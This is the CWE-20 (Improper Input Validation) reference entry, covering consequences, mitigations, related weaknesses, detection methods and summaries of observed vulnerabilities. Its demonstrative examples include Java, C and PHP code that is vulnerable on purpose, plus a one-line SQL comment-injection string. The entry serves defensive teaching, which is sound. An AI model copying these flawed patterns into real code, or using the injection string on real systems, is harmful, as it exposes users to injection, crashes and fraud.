For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Diagram for CWE-20
+ Extended Description

Input validation is a frequently-used technique for checking potentially dangerous inputs in order to ensure that the inputs are safe for processing within the code, or when communicating with other components.

Input can consist of:

  • raw data - strings, numbers, parameters, file contents, etc.
  • metadata - information about the raw data, such as headers or size

Data can be simple or structured. Structured data can be composed of many nested layers, composed of combinations of metadata and raw data, with other simple or structured data.

Many properties of raw data or metadata may need to be validated upon entry into the code, such as:

  • specified quantities such as size, length, frequency, price, rate, number of operations, time, etc.
  • implied or derived quantities, such as the actual size of a file instead of a specified size
  • indexes, offsets, or positions into more complex data structures
  • symbolic keys or other elements into hash tables, associative arrays, etc.
  • well-formedness, i.e. syntactic correctness - compliance with expected syntax
  • lexical token correctness - compliance with rules for what is treated as a token
  • specified or derived type - the actual type of the input (or what the input appears to be)
  • consistency - between individual data elements, between raw data and metadata, between references, etc.
  • conformance to domain-specific rules, e.g. business logic
  • equivalence - ensuring that equivalent inputs are treated the same
  • authenticity, ownership, or other attestations about the input, e.g. a cryptographic signature to prove the source of the data

Implied or derived properties of data must often be calculated or inferred by the code itself. Errors in deriving properties may be considered a contributing factor to improper input validation.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory)

Scope: Availability

An attacker could provide unexpected values and cause a program crash or arbitrary control of resource allocation, leading to excessive consumption of resources such as memory and CPU.

Read Memory; Read Files or Directories

Scope: Confidentiality

An attacker could read confidential data if they are able to control resource references.

Modify Memory; Execute Unauthorized Code or Commands

Scope: Integrity, Confidentiality, Availability

An attacker could use malicious input to modify data or possibly alter control flow in unexpected ways, including arbitrary command execution.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design

Strategy: Attack Surface Reduction

Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]

Architecture and Design

Strategy: Libraries or Frameworks

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).

Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter the product, including but not limited to: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Effectiveness: High

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Implementation
When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Implementation
Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

Implementation
Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Implementation
When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 707 Improper Neutralization
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 179 Incorrect Behavior Order: Early Validation
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 622 Improper Validation of Function Hook Arguments
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1173 Improper Use of Validation Framework
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1284 Improper Validation of Specified Quantity in Input
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1285 Improper Validation of Specified Index, Position, or Offset in Input
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1286 Improper Validation of Syntactic Correctness of Input
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1287 Improper Validation of Specified Type of Input
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1288 Improper Validation of Consistency within Input
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1289 Improper Validation of Unsafe Equivalence in Input
PeerOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 345 Insufficient Verification of Data Authenticity
CanPrecede Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CanPrecede Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 41 Improper Resolution of Path Equivalence
CanPrecede Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
CanPrecede Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 119 Improper Restriction of Operations within the Bounds of a Memory Buffer
CanPrecede Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 770 Allocation of Resources Without Limits or Throttling
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1003 Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 129 Improper Validation of Array Index
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1284 Improper Validation of Specified Quantity in Input
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1019 Validate Inputs
+ Relevant to the view "Seven Pernicious Kingdoms" (View-700)
Nature Type ID Name
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 15 External Control of System or Configuration Setting
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 73 External Control of File Name or Path
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 102 Struts: Duplicate Validation Forms
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 103 Struts: Incomplete validate() Method Definition
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 104 Struts: Form Bean Does Not Extend Validation Class
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 105 Struts: Form Field Without Validator
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 106 Struts: Plug-in Framework not in Use
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 107 Struts: Unused Validation Form
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 108 Struts: Unvalidated Action Form
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 109 Struts: Validator Turned Off
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 110 Struts: Validator Without Form Field
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 111 Direct Use of Unsafe JNI
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 112 Missing XML Validation
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 113 Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 114 Process Control
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 117 Improper Output Neutralization for Logs
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 119 Improper Restriction of Operations within the Bounds of a Memory Buffer
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 134 Use of Externally-Controlled Format String
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 170 Improper Null Termination
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 190 Integer Overflow or Wraparound
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 466 Return of Pointer Value Outside of Expected Range
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 470 Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 785 Use of Path Manipulation Function without Maximum-sized Buffer
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

If a programmer believes that an attacker cannot modify certain inputs, then the programmer might not perform any input validation at all. For example, in web applications, many programmers believe that cookies and hidden form fields can not be modified from a web browser (CWE-472), although they can be altered using a proxy or a custom program. In a client-server architecture, the programmer might assume that client-side security checks cannot be bypassed, even when a custom client could be written that skips those checks (CWE-602).
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Often Prevalent)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1


This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated.

(bad code)
Example Language: Java 
...
public static final double price = 20.00;
int quantity = currentUser.getAttribute("quantity");
double total = price * quantity;
chargeUser(total);
...

The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited.



Example 2


This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.

(bad code)
Example Language: C 
...
#define MAX_DIM 100
...
/* board dimensions */

int m,n, error;
board_square_t *board;
printf("Please specify the board height: \n");
error = scanf("%d", &m);
if ( EOF == error ){
die("No integer passed: Die evil hacker!\n");
}
printf("Please specify the board width: \n");
error = scanf("%d", &n);
if ( EOF == error ){
die("No integer passed: Die evil hacker!\n");
}
if ( m > MAX_DIM || n > MAX_DIM ) {
die("Value too large: Die evil hacker!\n");
}
board = (board_square_t*) malloc( m * n * sizeof(board_square_t));
...

While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program.



Example 3


The following example shows a PHP application in which the programmer attempts to display a user's birthday and homepage.

(bad code)
Example Language: PHP 
$birthday = $_GET['birthday'];
$homepage = $_GET['homepage'];
echo "Birthday: $birthday<br>Homepage: <a href=$homepage>click here</a>"

The programmer intended for $birthday to be in a date format and $homepage to be a valid URL. However, since the values are derived from an HTTP request, if an attacker can trick a victim into clicking a crafted URL with <script> tags providing the values for birthday and / or homepage, then the script will run on the client's browser when the web server echoes the content. Notice that even if the programmer were to defend the $birthday variable by restricting input to integers and dashes, it would still be possible for an attacker to provide a string of the form:

(attack code)
 
2009-01-09--

If this data were used in a SQL statement, it would treat the remainder of the statement as a comment. The comment could disable other security-related logic in the statement. In this case, encoding combined with input validation would be a more useful protection mechanism.

Furthermore, an XSS (CWE-79) attack or SQL injection (CWE-89) are just a few of the potential consequences when input validation is not used. Depending on the context of the code, CRLF Injection (CWE-93), Argument Injection (CWE-88), or Command Injection (CWE-77) may also be possible.



Example 4


The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

(bad code)
Example Language: Java 
private void buildList ( int untrustedListSize ){
if ( 0 > untrustedListSize ){
die("Negative value supplied for list size, die evil hacker!");
}
Widget[] list = new Widget [ untrustedListSize ];
list[0] = new Widget();
}

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.



Example 5


This Android application has registered to handle a URL when sent an intent:

(bad code)
Example Language: Java 

...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...

public class UrlHandlerReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if("com.example.URLHandler.openURL".equals(intent.getAction())) {
String URL = intent.getStringExtra("URLToOpen");
int length = URL.length();

...
}
}
}

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Large language model (LLM) management tool does not validate the format of a digest value (CWE-1287) from a private, untrusted model registry, enabling relative path traversal (CWE-23), a.k.a. Probllama
Chain: a learning management tool debugger uses external input to locate previous session logs (CWE-73) and does not properly validate the given path (CWE-20), allowing for filesystem path traversal using "../" sequences (CWE-24)
Chain: improper input validation (CWE-20) leads to integer overflow (CWE-190) in mobile OS, as exploited in the wild per CISA KEV.
Chain: improper input validation (CWE-20) leads to integer overflow (CWE-190) in mobile OS, as exploited in the wild per CISA KEV.
Chain: backslash followed by a newline can bypass a validation step (CWE-20), leading to eval injection (CWE-95), as exploited in the wild per CISA KEV.
Chain: insufficient input validation (CWE-20) in browser allows heap corruption (CWE-787), as exploited in the wild per CISA KEV.
Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV.
Chain: security product has improper input validation (CWE-20) leading to directory traversal (CWE-22), as exploited in the wild per CISA KEV.
Improper input validation of HTTP requests in IP phone, as exploited in the wild per CISA KEV.
Chain: improper input validation (CWE-20) in firewall product leads to XSS (CWE-79), as exploited in the wild per CISA KEV.
Chain: caching proxy server has improper input validation (CWE-20) of headers, allowing HTTP response smuggling (CWE-444) using an "LF line ending"
Eval injection in Perl program using an ID that should only contain hyphens and numbers.
SQL injection through an ID that was supposed to be numeric.
lack of input validation in spreadsheet program leads to buffer overflows, integer overflows, array index errors, and memory corruption.
insufficient validation enables XSS
driver in security product allows code execution due to insufficient validation
infinite loop from DNS packet with a label that points to itself
infinite loop from DNS packet with a label that points to itself
missing parameter leads to crash
HTTP request with missing protocol version number leads to crash
request with missing parameters leads to information exposure
system crash with offset value that is inconsistent with packet size
size field that is inconsistent with packet size leads to buffer over-read
product uses a denylist to identify potentially dangerous content, allowing attacker to bypass a warning
security bypass via an extra header
empty packet triggers reboot
incomplete denylist allows SQL injection
NUL byte in theme name causes directory traversal impact to be worse
kernel does not validate an incoming pointer before dereferencing it
anti-virus product has insufficient input validation of hooked SSDT functions, allowing code execution
anti-virus product allows DoS via zero-length field
driver does not validate input from userland to the kernel
kernel does not validate parameters sent in from userland, allowing code execution
lack of validation of string length fields allows memory consumption or buffer over-read
lack of validation of length field leads to infinite loop
lack of validation of input to an IOCTL allows code execution
zero-length attachment causes crash
zero-length input causes free of uninitialized pointer
crash via a malformed frame structure
infinite loop from a long SMTP request
router crashes with a malformed packet
packet with invalid version number leads to NULL pointer dereference
crash via multiple "." characters in file extension
+ Detection Methods
Method Details

Automated Static Analysis

Some instances of improper input validation can be detected using automated static analysis.

A static analysis tool might allow the user to specify which application-specific methods or functions perform input validation; the tool might also have built-in knowledge of validation frameworks such as Struts. The tool may then suppress or de-prioritize any associated warnings. This allows the analyst to focus on areas of the software in which input validation does not appear to be present.

Except in the cases described in the previous paragraph, automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Manual Static Analysis
When custom input validation is required, such as when enforcing business rules, manual analysis is necessary to ensure that the validation is properly implemented.

Fuzzing
Fuzzing techniques can be useful for detecting input validation errors. When unexpected inputs are provided to the software, the software should not crash or otherwise become unstable, and it should generate application-controlled error messages. If exceptions or interpreter-generated error messages occur, this indicates that the input was not detected and handled within the application logic itself.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Fuzz Tester
  • Framework-based Fuzzer
Cost effective for partial coverage:
  • Host Application Interface Scanner
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 635 Weaknesses Originally Used by NVD from 2008 to 2016
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 722 OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 738 CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 742 CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 746 CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 747 CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 751 2009 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 872 CERT C++ Secure Coding Section 04 - Integers (INT)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 876 CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 883 CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 994 SFP Secondary Cluster: Tainted Input to Variable
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1005 7PK - Input Validation and Representation
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1163 SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1200 Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1337 Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1347 OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1350 Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1382 ICS Operations (& Maintenance): Emerging Energy Technologies
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1387 Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1406 Comprehensive Categorization: Improper Input Validation
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1425 Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1430 Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes
Usage DISCOURAGED
(this CWE ID should not be used to map to real-world vulnerabilities)
